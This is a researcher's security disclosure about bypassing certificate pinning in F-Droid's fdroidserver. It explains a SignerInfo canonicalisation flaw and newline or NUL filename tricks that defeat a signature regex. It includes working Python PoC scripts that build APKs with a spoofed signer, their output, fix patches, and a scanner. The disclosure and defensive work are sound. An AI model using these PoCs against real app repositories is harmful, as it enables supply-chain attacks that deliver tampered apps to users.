Hi!

Another update for [1,2], still published at [3]: two more PoCs (bringing
the total to 5), patches for the 5th PoC, and an updated script to scan for
potentially affected APKs.  I've attached the new and updated files and
included the new sections from the README with the updates below.

- Fay

[1] https://www.openwall.com/lists/oss-security/2024/04/08/8
[2] https://www.openwall.com/lists/oss-security/2024/04/20/3
[3] https://github.com/obfusk/fdroid-fakesigner-poc

============================================================================

# F-Droid Fake Signer PoC

PoC for fdroidserver AllowedAPKSigningKeys certificate pinning bypass.

Published: 2024-04-08; updated: 2024-04-14, 2024-04-20, 2024-12-30.

[...]

### [Observations] Update (2024-12-30 #1)

Instead of adopting the fixes we proposed, F-Droid wrote and merged their
own patch [10], ignoring repeated warnings it had significant flaws
(including an incorrect implementation of v1 signature verification and
making it impossible to have APKs with rotated keys in a repository).  As a
result it is possible to construct a valid v1 signature that fdroidserver
matches to the wrong certificate.

We do this by simply creating and prepending a second SignerInfo using our
own certificate, which has the same serial number and an almost identical
issuer -- e.g. a common name with a space (0x20) replaced by a tab (0x09) or
a DEL (0x7f) appended -- to exploit an implementation that will match the
SignerInfo against the wrong certificate through incorrect canonicalisation.

Luckily, the impact is lower than that of the other vulnerabilities as it
does require a valid signature from the certificate one wishes to spoof.

### [Observations] Update (2024-12-30 #2)

Unfortunately, we found another more severe vulnerability as well, caused by
a regex incorrectly handling newlines in filenames.  This allows another
trivial bypass of certificate pinning, as we can once again make
fdroidserver see whatever certificate we want instead of the one
Android/apksigner does (as long as we have a valid v1 signature for some
other APK).

The regex in question -- ^META-INF/.*\.(DSA|EC|RSA)$ -- is supposed to match
all filenames that start with META-INF/ and end with .DSA, .EC, or .RSA.
Unfortunately, the ".*" does not match newlines, and the "$" matches not
just the end of the string but "the end of the string or just before the
newline at the end of the string".  As a result we can use a newline in the
filename of the real signature files (before the extension), which
Android/apksigner see but fdroidserver does not, and a newline after the
.RSA extension for the spoofed signature files, which fdroidserver will see
but Android/apksigner will not.

NB: androguard seems to use a similarly incorrect regex.

We can do almost the exact same thing with NUL bytes instead of newlines,
independently of the flawed regex, because Python's ZipInfo.filename is
sanitised by removing any NUL byte and everything after it.  This will have
the same result for fdroidserver and apksigner (which happily accepts NUL
bytes in filenames) as above, but luckily Android rejects APKs with NUL
bytes in filenames, and such an APK will thus fail to install.

NB: in light of all of the above we reiterate that we strongly recommend
using the official apksig library (used by apksigner) to both verify APK
signatures and return the first signer's certificate to avoid these kind of
implementation mistakes and inconsistencies and thus further
vulnerabilities.  Handling common cases correctly is fairly easy, but
handling edge cases correctly is hard; rolling your own implementation
without the required expertise and care to get it right is irresponsible.

[...]

### [PoC] Update (2024-12-30 #1)

NB: for convenience we generate our own key for the spoofed certificate as
well; for a real exploit we'd have a v1-signed APK to use here instead of
signing one ourselves.

```bash
$ ./make-key-v4.sh          # generates a dummy key
$ sha256sum cert-rsa-fake.der cert-rsa-orig.der
29c6fc6cfa20c2726721944a659a4293c5ac7e8090ab5faa8e26f64ba007bea4  
cert-rsa-fake.der
1e8a45fa677f82755b63edee209fee92081ba822d4f425c3792a1980bfa3fca9  
cert-rsa-orig.der
$ python3 make-poc-v4.py    # uses app3.apk (needs minSdk >= 24 & targetSdk < 
30)
$ python3 fdroid.py         # verifies and has the wrong signer according to 
F-Droid
True
ERROR:root:"Signature is invalid", skipping:
  1e8a45fa677f82755b63edee209fee92081ba822d4f425c3792a1980bfa3fca9
  Common Name: Foo Bar
1e8a45fa677f82755b63edee209fee92081ba822d4f425c3792a1980bfa3fca9
$ apksigner verify -v --print-certs poc.apk | grep -E '^Verified using|Signer 
#1 certificate (DN|SHA-256)'
Verified using v1 scheme (JAR signing): true
Verified using v2 scheme (APK Signature Scheme v2): false
Verified using v3 scheme (APK Signature Scheme v3): false
Verified using v4 scheme (APK Signature Scheme v4): false
Signer #1 certificate DN: CN=Foo        Bar
Signer #1 certificate SHA-256 digest: 
29c6fc6cfa20c2726721944a659a4293c5ac7e8090ab5faa8e26f64ba007bea4
```

### [PoC] Update (2024-12-30 #2)

NB: version A uses newlines, version B NUL bytes (which makes it fail to
actually install on Android devices despite verifying with apksigner).

```bash
$ python3 make-poc-v5a.py   # uses app3.apk (needs targetSdk < 30) as base, 
adds fake.apk .RSA
$ python3 fdroid.py         # verifies and has fake.apk as signer according to 
F-Droid
True
43238d512c1e5eb2d6569f4a3afbf5523418b82e0a3ed1552770abb9a9c9ccab
```

```bash
$ python3 make-poc-v5b.py   # uses app3.apk (needs targetSdk < 30) as base, 
adds fake.apk .RSA
$ python3 fdroid.py         # verifies and has fake.apk as signer according to 
F-Droid
True
43238d512c1e5eb2d6569f4a3afbf5523418b82e0a3ed1552770abb9a9c9ccab
```

[...]

### [Patch] Update (2024-12-30)

The fdroidserver-regex.patch fixes the regex to correctly handle newlines.

The fdroidserver-null-v1.patch (for fdroidserver before the changes we
recommended against) and fdroidserver-null-v2.patch (for current
fdroidserver) use ZipInfo.orig_filename to handle NUL bytes properly (and
avoid other potential issues).

[...]

### [Scanner] Update (2024-12-30)

The scan.py script has been updated to check for APK Signature Scheme v3.1
blocks (which will likely give false positives needing manual inspection as
those are expected to differ with key rotation) as well as NUL/LF/CR in
filenames and to use ZipInfo.orig_filename.

NB: currently, neither fdroidserver nor androguard will see APK Signature
Scheme v3.1 blocks.

```bash
$ python3 scan.py poc[45]*.apk
'poc4.apk': Multiple certificates in signature block file
'poc5a.apk': NUL, LF, or CR in filename
'poc5b.apk': NUL, LF, or CR in filename
```

## References

[...]

* [10] https://gitlab.com/fdroid/fdroidserver/-/merge_requests/1466

[...]
diff --git a/fdroidserver/common.py b/fdroidserver/common.py
index e02d63c1..eb9ae1a1 100644
--- a/fdroidserver/common.py
+++ b/fdroidserver/common.py
@@ -3171,12 +3171,12 @@ def get_first_signer_certificate(apkpath):
 
     if not cert_encoded:
         with zipfile.ZipFile(apkpath, 'r') as apk:
-            cert_files = [n for n in apk.namelist() if SIGNATURE_BLOCK_FILE_REGEX.match(n)]
-            if len(cert_files) > 1:
+            cert_infos = [i for i in apk.infolist() if SIGNATURE_BLOCK_FILE_REGEX.match(i.orig_filename)]
+            if len(cert_infos) > 1:
                 logging.error(_("Found multiple JAR Signature Block Files in {path}").format(path=apkpath))
                 return None
-            elif len(cert_files) == 1:
-                cert_encoded = get_certificate(apk.read(cert_files[0]))
+            elif len(cert_infos) == 1:
+                cert_encoded = get_certificate(apk.read(cert_infos[0]))
 
     if not cert_encoded:
         logging.error(_("No signing certificates found in {path}").format(path=apkpath))
diff --git a/fdroidserver/common.py b/fdroidserver/common.py
index 5f812206..699e03d4 100644
--- a/fdroidserver/common.py
+++ b/fdroidserver/common.py
@@ -3272,24 +3272,36 @@ def get_first_signer_certificate(apkpath):
         not (certs_v3 or certs_v2) and get_effective_target_sdk_version(apkobject) < 30
     ):
         with zipfile.ZipFile(apkpath, 'r') as apk:
-            cert_files = [
-                n for n in apk.namelist() if SIGNATURE_BLOCK_FILE_REGEX.match(n)
+            cert_infos = [
+                i for i in apk.infolist() if SIGNATURE_BLOCK_FILE_REGEX.match(i.orig_filename)
             ]
-            if len(cert_files) > 1:
+            if len(cert_infos) > 1:
                 logging.error(
                     _("Found multiple JAR Signature Block Files in {path}").format(
                         path=apkpath
                     )
                 )
                 return
-            elif len(cert_files) == 1:
-                signature_block_file = cert_files[0]
+            elif len(cert_infos) == 1:
+                signature_block_info = cert_infos[0]
+                signature_block_file = cert_infos[0].orig_filename
                 signature_file = (
-                    cert_files[0][: signature_block_file.rindex('.')] + '.SF'
+                    signature_block_file[: signature_block_file.rindex('.')] + '.SF'
                 )
+                for info in apk.infolist():
+                    if info.orig_filename == signature_file:
+                        signature_info = info
+                        break
+                else:
+                    logging.error(
+                        _("Missing JAR Signature File in {path}").format(
+                            path=apkpath
+                        )
+                    )
+                    return
                 cert_v1 = get_certificate(
-                    apk.read(signature_block_file),
-                    apk.read(signature_file),
+                    apk.read(signature_block_info),
+                    apk.read(signature_info),
                 )
                 found_certs.append(cert_v1)
                 if not cert_encoded:
diff --git a/fdroidserver/common.py b/fdroidserver/common.py
index 66dd106e..8de2f289 100644
--- a/fdroidserver/common.py
+++ b/fdroidserver/common.py
@@ -93,7 +93,7 @@ MINIMUM_APKSIGNER_BUILD_TOOLS_VERSION = '30.0.0'
 VERCODE_OPERATION_RE = re.compile(r'^([ 0-9/*+-]|%c)+$')
 
 # A signature block file with a .DSA, .RSA, or .EC extension
-SIGNATURE_BLOCK_FILE_REGEX = re.compile(r'^META-INF/.*\.(DSA|EC|RSA)$')
+SIGNATURE_BLOCK_FILE_REGEX = re.compile(r'\AMETA-INF/(?s:.)*\.(DSA|EC|RSA)\Z')
 APK_NAME_REGEX = re.compile(r'^([a-zA-Z][\w.]*)_(-?[0-9]+)_?([0-9a-f]{7})?\.apk')
 APK_ID_TRIPLET_REGEX = re.compile(r"^package: name='(\w[^']*)' versionCode='([^']+)' versionName='([^']*)'")
 STANDARD_FILE_NAME_REGEX = re.compile(r'^(\w[\w.]*)_(-?[0-9]+)\.\w+')

Attachment: make-key-v4.sh
Description: Bourne shell script

#!/usr/bin/python3
# encoding: utf-8
# SPDX-FileCopyrightText: 2024 FC (Fay) Stegerman <f...@obfusk.net>
# SPDX-License-Identifier: AGPL-3.0-or-later

import apksigcopier
import apksigtool
import pyasn1.codec.cer.encoder as cer_encoder
import zipfile

from apksigtool import (                                        # type: ignore[attr-defined]
    JARSignatureFile, PrivKey, ECDSA, PKCS1v15, Halgo, PRIVKEY_TYPE,
    JAR_HASHERS_STR, DIGEST_ENCRYPTION_ALGORITHM, pyasn1_decode, pyasn1_encode,
    pyasn1_univ, rfc2315, create_signature, do_sign)
from typing import Optional, Tuple


# patched copy that doesn't sort setOf so we can reliably insert the fake cert
def encodeValue(self, value, asn1Spec, encodeFun, **options):   # type: ignore
    chunks = self._encodeComponents(
        value, asn1Spec, encodeFun, **options)
    return cer_encoder.null.join(chunks), True, True            # type: ignore


# patched copy that doesn't raise, just warns
def _assert(b: bool, what: Optional[str] = None) -> None:
    if not b:
        print("Assertion failed" + (f": {what}" if what else ""))


# patched copy that adds the fake cert
def _create_signature_block_file(sf: JARSignatureFile, *, cert: bytes, key: PrivKey,
                                 hash_algo: str) -> Tuple[bytes, str]:
    def halgo_f() -> Halgo:
        return ECDSA(halgo()) if alg == "EC" else halgo()       # type: ignore
    alg, = [e for c, e in PRIVKEY_TYPE.items() if isinstance(key, c)]
    oid, _, halgo = JAR_HASHERS_STR[hash_algo]
    dea = DIGEST_ENCRYPTION_ALGORITHM[alg][hash_algo]
    pad = PKCS1v15 if alg == "RSA" else None
    crt = pyasn1_decode(cert, asn1Spec=rfc2315.Certificate())[0]
    sig = create_signature(key, sf.raw_data, halgo_f, pad)
    sdat = rfc2315.SignedData()
    sdat["version"] = 1
    sdat["digestAlgorithms"][0]["algorithm"] = oid
    sdat["contentInfo"] = rfc2315.ContentInfo()
    sdat["contentInfo"]["contentType"] = rfc2315.ContentType(rfc2315.data)
    # --- BEGIN PATCH ---
    print("prepending orig cert (with modified signer info)...")
    sdat["certificates"][0]["certificate"] = orig_crt
    sdat["certificates"][1]["certificate"] = crt
    orig_sinf["issuerAndSerialNumber"]["issuer"] = crt["tbsCertificate"]["issuer"]
    sdat["signerInfos"][0] = orig_sinf
    sinf = sdat["signerInfos"][1]
    # --- END PATCH ---
    sinf["version"] = 1
    sinf["issuerAndSerialNumber"]["issuer"] = crt["tbsCertificate"]["issuer"]
    sinf["issuerAndSerialNumber"]["serialNumber"] = crt["tbsCertificate"]["serialNumber"]
    sinf["digestAlgorithm"]["algorithm"] = oid
    sinf["digestEncryptionAlgorithm"]["algorithm"] = dea
    sinf["encryptedDigest"] = sig
    cinf = rfc2315.ContentInfo()
    cinf["contentType"] = rfc2315.ContentType(rfc2315.signedData)
    cinf["content"] = pyasn1_univ.Any(pyasn1_encode(sdat))
    return pyasn1_encode(cinf), alg


# for a real exploit we'd have a v1-signed APK to use here instead of signing ourselves
# must have minSdk >= 24 & targetSdk < 30
apksigcopier.copy_apk("app3.apk", "poc-unsigned.apk", exclude=apksigcopier.exclude_meta)
do_sign("poc-unsigned.apk", "poc-signed-orig.apk", cert="cert-rsa-orig.der",
        key="privkey-rsa-orig.der", no_v2=True, no_v3=True)

with zipfile.ZipFile("poc-signed-orig.apk", "r") as zf:
    for info in zf.infolist():
        if info.filename.startswith("META-INF/") and info.filename.endswith(".RSA"):
            print(f"Getting cert from {info.filename!r}...")
            data = zf.read(info.filename)
            cinf = pyasn1_decode(data, asn1Spec=rfc2315.ContentInfo())[0]
            sdat = pyasn1_decode(cinf["content"], asn1Spec=rfc2315.SignedData())[0]
            orig_sinf = sdat["signerInfos"][0]
            orig_crt = sdat["certificates"][0]["certificate"]
            break

cer_encoder.SetOfEncoder.encodeValue = encodeValue              # type: ignore
apksigtool._assert = _assert
apksigtool._create_signature_block_file = _create_signature_block_file

do_sign("poc-unsigned.apk", "poc.apk", cert="cert-rsa-fake.der",
        key="privkey-rsa-fake.der", no_v2=True, no_v3=True)
#!/usr/bin/python3
# encoding: utf-8
# SPDX-FileCopyrightText: 2024 FC (Fay) Stegerman <f...@obfusk.net>
# SPDX-License-Identifier: AGPL-3.0-or-later

import apksigcopier
import apksigtool

from cryptography.hazmat.primitives import serialization


with open("cert-rsa.der", "rb") as fh:
    cert = fh.read()
with open("privkey-rsa.der", "rb") as fh:
    privkey = serialization.load_der_private_key(fh.read(), None)
    assert isinstance(privkey, apksigtool.PrivKeyTypes)

# must have targetSdk < 30
date_time = apksigcopier.copy_apk("app3.apk", "poc.apk", exclude=apksigcopier.exclude_meta)
meta = []

for info, data in apksigcopier.extract_meta("fake.apk"):
    if not info.filename.endswith(".MF"):
        if not info.filename.endswith(".SF"):
            info.filename += "\n"
        meta.append((info, data))

for info, data in apksigtool.create_v1_signature("poc.apk", cert=cert, key=privkey):
    if not info.filename.endswith(".MF"):
        info.filename = info.filename.replace("/", "/\n")
    meta.append((info, data))

apksigcopier.patch_meta(meta, "poc.apk", date_time=date_time)
#!/usr/bin/python3
# encoding: utf-8
# SPDX-FileCopyrightText: 2024 FC (Fay) Stegerman <f...@obfusk.net>
# SPDX-License-Identifier: AGPL-3.0-or-later

import apksigcopier
import apksigtool

from cryptography.hazmat.primitives import serialization


with open("cert-rsa.der", "rb") as fh:
    cert = fh.read()
with open("privkey-rsa.der", "rb") as fh:
    privkey = serialization.load_der_private_key(fh.read(), None)
    assert isinstance(privkey, apksigtool.PrivKeyTypes)

# must have targetSdk < 30
date_time = apksigcopier.copy_apk("app3.apk", "poc.apk", exclude=apksigcopier.exclude_meta)
meta = []

for info, data in apksigcopier.extract_meta("fake.apk"):
    if not info.filename.endswith(".MF"):
        if not info.filename.endswith(".SF"):
            info.filename += "\x00"
        meta.append((info, data))

for info, data in apksigtool.create_v1_signature("poc.apk", cert=cert, key=privkey):
    if not info.filename.endswith(".MF"):
        info.filename = info.filename.replace("/", "/\x00")
    meta.append((info, data))

# NB: this APK will verify with apksigner but fail to install on Android devices
apksigcopier.patch_meta(meta, "poc.apk", date_time=date_time)
#!/usr/bin/python3
# encoding: utf-8
# SPDX-FileCopyrightText: 2024 FC (Fay) Stegerman <f...@obfusk.net>
# SPDX-License-Identifier: AGPL-3.0-or-later

import argparse
import hashlib
import logging
import sys
import zipfile

from pyasn1.codec.der.decoder import decode as pyasn1_decode
from pyasn1.codec.der.encoder import encode as pyasn1_encode
from pyasn1.error import PyAsn1Error
from pyasn1_modules import rfc2315                          # type: ignore[import-untyped]

from typing import Any, List, Optional, Tuple

try:
    from androguard.core import apk as ag_apk               # type: ignore[import-untyped]
except ImportError:
    from androguard.core.bytecodes import apk as ag_apk     # type: ignore[import-untyped]


class Err(Exception):
    pass


class Warn(Exception):
    pass


# NB: monkey patch of sorts
class HDict(dict):                                          # type: ignore[type-arg]
    def __init__(self) -> None:
        self.history: List[Tuple[Any, Any]] = []

    def __setitem__(self, k: Any, v: Any) -> None:
        self.history.append((k, v))
        super().__setitem__(k, v)

    # for androguard >= v4.1.2 which fixes duplicate block ID handling
    # but does not yet have an API to get all but the first
    def __contains__(self, k: Any) -> bool:
        return False


def wrangle_androguard(apk: str) -> Tuple[List[int], List[bytes], List[bytes], List[bytes]]:
    instance = ag_apk.APK(apk)
    assert getattr(instance, "_v2_blocks", None) == {}      # pylint: disable=C1803
    instance._v2_blocks = hdict = HDict()
    instance.parse_v2_v3_signature()
    block_ids = [k for k, v in hdict.history]
    instance = ag_apk.APK(apk)
    v3_certs = instance.get_certificates_der_v3()
    v2_certs = instance.get_certificates_der_v2()
    instance = ag_apk.APK(apk)
    assert instance._APK_SIG_KEY_V3_SIGNATURE == 0xf05368c0
    instance._APK_SIG_KEY_V3_SIGNATURE = 0x1b93ad61         # v3.1
    v31_certs = instance.get_certificates_der_v3()
    return block_ids, v2_certs, v3_certs, v31_certs


def check_apk_certs(apk: str) -> Optional[bytes]:
    block_ids, v2_certs, v3_certs, v31_certs = wrangle_androguard(apk)
    if len(block_ids) != len(set(block_ids)):
        raise Err("Duplicate block IDs")
    if len(v31_certs) > 1:
        raise Warn("Multiple v3.1 certificates")
    if len(v3_certs) > 1:
        raise Warn("Multiple v3 certificates")
    if len(v2_certs) > 1:
        raise Warn("Multiple v2 certificates")
    if not (v2_certs or v3_certs or v31_certs):
        return None
    if v31_certs and not v3_certs:
        raise Err("No v3 certs even though v3.1 cert is present")
    if v3_certs and v31_certs and v3_certs != v31_certs:
        raise Warn("Mismatch between v3 and v3.1 certificates (probably rotation)")
    if v2_certs and v3_certs and v2_certs != v3_certs:
        raise Warn("Mismatch between v2 and v3 certificates (possibly rotation)")
    result = v3_certs[0] if v3_certs else v2_certs[0]
    assert isinstance(result, bytes)
    return result


# FIXME: check for .RSA w/o .SF?
def check_jar_certs(apk: str) -> Optional[bytes]:
    signature_block_files = []
    with zipfile.ZipFile(apk, "r") as zf:
        for info in zf.infolist():
            if info.orig_filename.startswith("META-INF/"):
                if any(info.orig_filename.endswith(ext) for ext in (".DSA", ".EC", ".RSA")):
                    signature_block_files.append(zf.read(info))
            if any(c in info.orig_filename for c in "\x00\n\r"):
                raise Warn("NUL, LF, or CR in filename")
    if len(signature_block_files) > 1:
        raise Warn("Multiple signature block files")
    if not signature_block_files:
        return None
    certificates = []
    try:
        cinf = pyasn1_decode(signature_block_files[0], asn1Spec=rfc2315.ContentInfo())[0]
        if cinf["contentType"] != rfc2315.signedData:
            raise Err("Signature block file contentType is not signedData")
        sdat = pyasn1_decode(cinf["content"], asn1Spec=rfc2315.SignedData())[0]
        for cert in sdat["certificates"]:
            certificates.append(pyasn1_encode(cert))
    except PyAsn1Error as e:
        raise Err("Unable to parse signature block file data") from e
    if len(certificates) > 1:
        raise Warn("Multiple certificates in signature block file")
    if not certificates:
        raise Err("No certificates in signature block file")
    assert isinstance(certificates[0], bytes)
    return certificates[0]


# NB: this will flag some valid APKs too, e.g. those with certificate chains,
# rotation, or multiple signers
def check_apks(*apks: str, verbose: bool) -> bool:
    ok = True
    for apk in apks:
        if verbose:
            print(f"Checking {apk!r} ...")
        try:
            apk_cert = check_apk_certs(apk)
            jar_cert = check_jar_certs(apk)
            if apk_cert is None and jar_cert is None:
                raise Err("No certificates in APK")
            if apk_cert is not None and jar_cert is not None and apk_cert != jar_cert:
                raise Warn("Mismatch between v1 and v2/v3 certificates")
        except (Err, Warn) as e:
            ok = False
            if verbose:
                t = "Error" if isinstance(e, Err) else "Warning"
                print(f"  {t}: {e}", file=sys.stderr)
            else:
                print(f"{apk!r}: {e}", file=sys.stderr)
        else:
            if verbose:
                cert = apk_cert or jar_cert
                assert isinstance(cert, bytes)
                fingerprint = hashlib.sha256(cert).hexdigest()
                print(f"  OK {fingerprint}")
    return ok


def _nologging() -> None:
    # disable androguard warnings
    logging.getLogger().setLevel(logging.ERROR)
    try:
        from loguru import logger                           # type: ignore
        logger.remove()
    except ImportError:
        pass


if __name__ == "__main__":
    _nologging()
    parser = argparse.ArgumentParser(description="Check APKs for possible signature issues.")
    parser.add_argument("-v", "--verbose", action="store_true")
    parser.add_argument("apks", metavar="APK", nargs="*", help="APK file(s) to check")
    args = parser.parse_args()
    if not check_apks(*args.apks, verbose=args.verbose):
        sys.exit(1)

# vim: set tw=80 sw=4 sts=4 et fdm=marker :

Reply via email to